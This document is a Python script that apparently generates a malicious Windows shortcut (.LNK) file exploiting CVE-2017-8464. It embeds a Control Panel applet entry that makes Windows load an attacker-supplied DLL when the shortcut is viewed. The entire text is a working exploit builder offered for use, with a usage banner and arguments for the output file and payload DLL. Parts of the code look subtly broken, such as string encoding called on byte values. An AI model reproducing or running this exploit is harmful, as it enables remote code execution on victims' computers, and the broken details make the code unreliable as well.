import struct
def generate_SHELL_LINK_HEADER():
shell_link_header = [
b'\x4c\x00\x00\x00',
b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46',
b'\x81\x00\x00\x00',
b'\x00\x00\x00\x00',
b'\x00\x00\x00\x00\x00\x00\x00\x00',
b'\x00\x00\x00\x00\x00\x00\x00\x00',
b'\x00\x00\x00\x00\x00\x00\x00\x00',
b'\x00\x00\x00\x00',
b'\x00\x00\x00\x00',
b'\x00\x00\x00\x00',
b'\x00\x00',
b'\x00\x00',
b'\x00\x00\x00\x00',
b'\x00\x00\x00\x00',
]
return b"".join(shell_link_header)
def generate_LINKTARGET_IDLIST(path, name):
def generate_ItemID(Data):
itemid = [
struct.pack('H', len(Data) + 2),
Data
]
return b"".join(itemid)
def generate_cpl_applet(path, name=name):
name += b'\x00'
path += b'\x00'
bindata = [
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
struct.pack('H', len(path)),
struct.pack('H', len(name)),
path.encode('utf-16')[2:],
name.encode('utf-16')[2:],
b"\x00\x00"
]
return b"".join(bindata)
idlist = [
generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(generate_cpl_applet(path)),
b'\x00\x00',
]
idlist = b"".join(idlist)
idlistsize = struct.pack('H', len(idlist))
linktarget_idlist = [
idlistsize,
idlist,
]
return b"".join(linktarget_idlist)
def generate_EXTRA_DATA():
extra_data = [
b'\x10\x00\x00\x00',
b'\x05\x00\x00\xA0',
b'\x03\x00\x00\x00',
b'\x28\x00\x00\x00',
b'\x00\x00\x00\x00'
]
return b"".join(extra_data)
def ms_shllink(path, name=b"Microsoft"):
'''build Shell Link (.LNK) Binary File Format'''
lnk_format = [
generate_SHELL_LINK_HEADER(),
generate_LINKTARGET_IDLIST(path, name),
generate_EXTRA_DATA()
]
return b"".join(lnk_format)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
sys.exit(0)
lnkpath = sys.argv[1]
dllpath = sys.argv[2]
bindata = ms_shllink(path=dllpath)
with open(lnkpath, 'wb') as lnkf:
lnkf.write(bindata)